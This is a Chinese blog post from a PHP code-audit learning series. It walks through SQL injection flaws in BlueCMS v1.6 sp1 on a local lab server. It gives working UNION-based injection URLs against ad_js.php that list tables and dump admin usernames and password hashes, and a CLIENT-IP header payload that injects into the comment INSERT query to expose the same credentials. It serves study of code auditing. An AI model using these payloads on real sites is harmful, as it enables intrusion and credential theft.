PHP代码审计学习_day3

0x01 PHP代码审计之SQL注入漏洞

SQL注入的危害

是发生在应用程序的数据库层上的安全漏洞。
在设计程序时,忽略了对输入字符串中夹带的SQL指令的检查,被数据库误觉得是正常的SQL指令而运行,从而使数据库受到攻击。php

SQL注入的产生缘由

程序开发过程当中不注意规范书写sql语句和对特殊字符进行过滤,致使客户端能够经过全局变量POST和GET提交一些sql语句正常执行。html

SQL注入的条件

可控制用户数据的输入。
原程序要执行的代码,拼接了用户输入的数据。mysql


0x02 bluecms_v1.6_sp1的代码审计

刚开始接触代码审计,就先拿bluecms练练手。
环境搭建
源码下载地址:https://www.a5xiazai.com/php/17968.html
下载好源码后,解压,将uploads文件夹中的文件放入WWW目录(我用的phpstudy),而后浏览器访问uploads目录下的install目录便可开始安装。
逼话很少说,上号。sql

ad_js.php下的ad id参数存在SQL注入

Seay源代码审计系统走一波。

进入ad_js.php看看

不知道empty和trim函数的,请自行百度。
从代码能够看出ad id直接GET传参,都不过滤,直接拼接。真的耿直!!!
而后就是下面的getone函数,刚开始我没见过这个,觉得是php自定的什么函数,百度了半天,呃,我就是个憨批。。。
在seay中左键选中getone,右键定位函数,来到了mysql.class.php。

感受还行,没啥限制。浏览器搞一波,看存不存在。

传参试试

发现了不一样的地方,F12中的出现了注释,且页面上的报错Error不在了。
先order by判断一波字段数,发现是7。
再就是看回显了,payload:http://192.168.63.143/bluecms1.6/uploads/ad_js.php?ad%20id=1%20union%20select%201,2,3,4,5,6,7

可显字段为7,database()获得数据库名:bluecms。
爆表名:http://192.168.63.143/bluecms1.6/uploads/ad_js.php?ad%20id=1%20union%20select%201,2,3,4,5,6,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()

框中的是咱们的目标。
注:这里的数据库名不要用引号加bluecms,由于会将引号转义,也就是多了个反斜杠(),绝逼报错,仍是database()香
爆列名:http://192.168.63.143/bluecms1.6/uploads/ad_js.php?ad%20id=1%20union%20select%201,2,3,4,5,6,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x626c75655f61646d696e

同前面的理由,这里的表名blue_admin编码了一下,绕过过滤,美滋滋。
爆字段:http://192.168.63.143/bluecms1.6/uploads/ad_js.php?ad%20id=1%20union%20select%201,2,3,4,5,6,group_concat(admin_name,0x3a,pwd)%20from%20blue_admin

完事,收工!!!说着玩的。。。数据库

common.fun.php下的getip()存在sql注入


getenv()函数:获取系统的环境变量。
这里也就是获取CLIENT-IP的值或者前者不存在时,获取XFF的值,后面的依次。
对getip()进行全局搜索,在comment.php中搜索到了,可是直接访问comment.php是没有显示的,由于个人seay这里中文是乱码,因此我在源码中看了看。

猜想是评论的地方,因此须要咱们去随便写一条新闻,再去评论。

建立新闻完成,开始评论。(注:这里下面评论的地方已经有了管理员的帐户和密码了,这是我先前实验的时候弄得,后面我会说清楚得

抓到了我要得数据包后,由于没有XFF之类,因此本身来添加。

payload:CLIENT-IP: 1','1'),('','6','0','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1
这里得payload要结合前面得浏览器

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
 			VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";

来理解,payload前面的1','1')是为了闭合前面的('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', ',payload后面的,('','6','0','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1是为了闭合后面的', '$is_check')安全


1.payload中的第一个6(前面的截图里面是1,我当时没发现,就不从新弄了,我改为6了)是和url中的id的数值6相等的,若是不一样,你就别想在这篇新闻的评论里面看到用户名和密码。
2.数字6以后的0,随便你改,没啥用,占个位就好。
3.数字0以后的1,这里必须为1,不能为0,要否则仍是看不到用户名和密码。
4.第二个6是表明不一样的表情。。。也就是管着爆出用户名和密码的那条评论的表情。
后面的不想解释了,没啥意思。jsp


而后就是说把CLIENT-IP改成XFF什么的,我看了一些博客,别个成功了,可是我没有成功,因此我。。。不弄了,嘿嘿!!!就差很少了,完毕。函数

相关文章
相关标签/搜索